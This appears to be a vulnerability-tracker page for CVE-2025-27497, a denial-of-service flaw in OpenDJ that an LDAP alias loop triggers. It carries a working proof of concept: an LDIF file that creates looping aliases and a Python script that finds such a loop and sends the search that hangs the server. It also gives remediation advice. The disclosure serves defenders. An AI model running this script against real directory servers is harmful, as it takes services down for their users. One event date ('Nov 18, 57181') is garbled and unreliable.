CVE-2025-27497: OpenDJ Denial of Service (Dos) using alias loop

Published Mar 5, 2025
·
Updated

Summary A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.

Details An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.

PoC (Steps to Reproduce) 1. Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com 2. Import the attached exampledataaliasdos.ldif file into the LDAP database 3. Ensure that the ldap3 Python library is installed (pip install ldap3) 4. Run the attached Python script python opendjaliasdos.py, which searches for alias loops and executes the DoS attack 5. After executing the script, the server will stop responding to requests until it is restarted

Impact This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests: result: 80 Other (e.g., implementation specific) error text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVAERROR: Java Error occurred, recovery may not be possible.

exampledataaliasdos.ldif dn: dc=example,dc=com objectClass: top objectClass: domain dc: example

dn: ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: people description: All users

dn: ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: students description: All students

dn: uid=jd123,ou=students,ou=people,dc=example,dc=com objectClass: top objectClass: inetOrgPerson objectClass: organizationalPerson objectClass: person mail: jd123@example.com sn: Doe cn: John Doe givenName: John uid: jd123

dn: ou=employees,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: employees description: All employees

dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com uid: jd123

dn: ou=researchers,ou=people,dc=example,dc=com objectClass: top objectClass: organizationalUnit ou: researchers description: All reasearchers

dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com objectClass: alias objectClass: top objectClass: extensibleObject aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com uid: jd123

opendjaliasdos.py Python import argparse

from ldap3 import Server, Connection, ALL, DEREFNEVER, DEREFALWAYS from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError

def connecttoldap(ip, port): try: server = Server(ip, port, getinfo=ALL) connection = Connection(server, autobind=True) return connection except (LDAPBindError, LDAPSocketOpenError) as e: print(f"Error connecting to LDAP server: {e}") return None

def findaliases(connection, basedn): try: searchfilter = "(objectClass=alias)" connection.search(basedn, searchfilter=searchfilter, dereferencealiases=DEREFNEVER, attributes=[""]) except Exception as e: print(f"Error during search: {e}")

aliases = {} for entry in connection.entries: entrydn = entry.entrydn entryalias = entry.aliasedObjectName.value aliases[entrydn] = entryalias

return aliases

def detectaliasloop(aliases): visited = set() path = set()

def dfs(alias): if alias in path: return alias if alias in visited: return None

path.add(alias) visited.add(alias)

aliasedtarget = aliases.get(alias) if aliasedtarget: result = dfs(aliasedtarget) if result: return result

path.remove(alias) return None

for alias in aliases: if alias not in visited: loopalias = dfs(alias) if loopalias: return loopalias

return None

def executedossearch(connection, loopingaliasdn): try: searchfilter = "(objectClass=)" connection.search(loopingaliasdn, searchfilter=searchfilter, dereferencealiases=DEREFALWAYS) except Exception as e: print(f"Error during search: {e}")

for entry in connection.entries: entrydn = entry.entrydn print(entrydn)

def main(): parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.") parser.addargument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.") parser.addargument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.") parser.addargument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.") args = parser.parseargs()

if not args.ip: args.ip = input("Please enter the IP address of the LDAP server: ")

if not args.port: while True: try: portinput = input("Please enter the port of the LDAP server: ") args.port = int(portinput) break except ValueError: print("Invalid input. Please enter a valid integer for the port.")

if not args.base: args.base = input("Please enter the base DN of the LDAP server: ")

connection = connecttoldap(args.ip, args.port) if connection: aliases = findaliases(connection, args.base) loopingaliasdn = detectaliasloop(aliases) if loopingaliasdn: executedossearch(connection, loopingaliasdn) print(f"DOS executed with alias: {loopingaliasdn}") else: print("No looping alias DN found!") connection.unbind()

if name == "main": main()

Other sources

OpenDJ is an LDAPv3 compliant directory service. OpenDJ prior to 4.9.3 contains a denial-of-service (DoS) vulnerability that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests. Fortunately, the server can be restarted without data corruption. This vulnerability is fixed in 4.9.3.

MITRE

Affected Software

2 affected componentsFixes available
ForgeRock OpenDJ<4.9.3
maven/org.openidentityplatform.opendj:opendj-server-legacy<4.9.3
4.9.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.openidentityplatform.opendj:opendj-server-legacy to a version that resolves this vulnerability.

    Fixed in 4.9.3
  2. Upgrade

    Upgrade OpenDJ to a version that resolves this vulnerability.

    Fixed in 4.9.3

Event History

Mar 5, 2025
CVE Published
via MITRE·03:59 PM
Data Sourced
via MITRE·03:59 PM
DescriptionWeakness
Data Sourced
via NVD·04:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:33 PM
Nov 18, 57181
Event
via FIRST·01:02 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-27497?

CVE-2025-27497 is classified as a denial-of-service (DoS) vulnerability affecting OpenDJ versions prior to 4.9.3.

2

How do I fix CVE-2025-27497?

To fix CVE-2025-27497, upgrade OpenDJ to version 4.9.3 or later.

3

What causes the issue in CVE-2025-27497?

CVE-2025-27497 is caused by an alias loop in the LDAP database that prevents the server from responding to LDAP requests.

4

What are the risks associated with CVE-2025-27497?

The risks associated with CVE-2025-27497 include prolonged unavailability of the OpenDJ server due to unresponsiveness.

5

Is CVE-2025-27497 specific to certain versions of OpenDJ?

Yes, CVE-2025-27497 specifically affects OpenDJ versions prior to 4.9.3.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203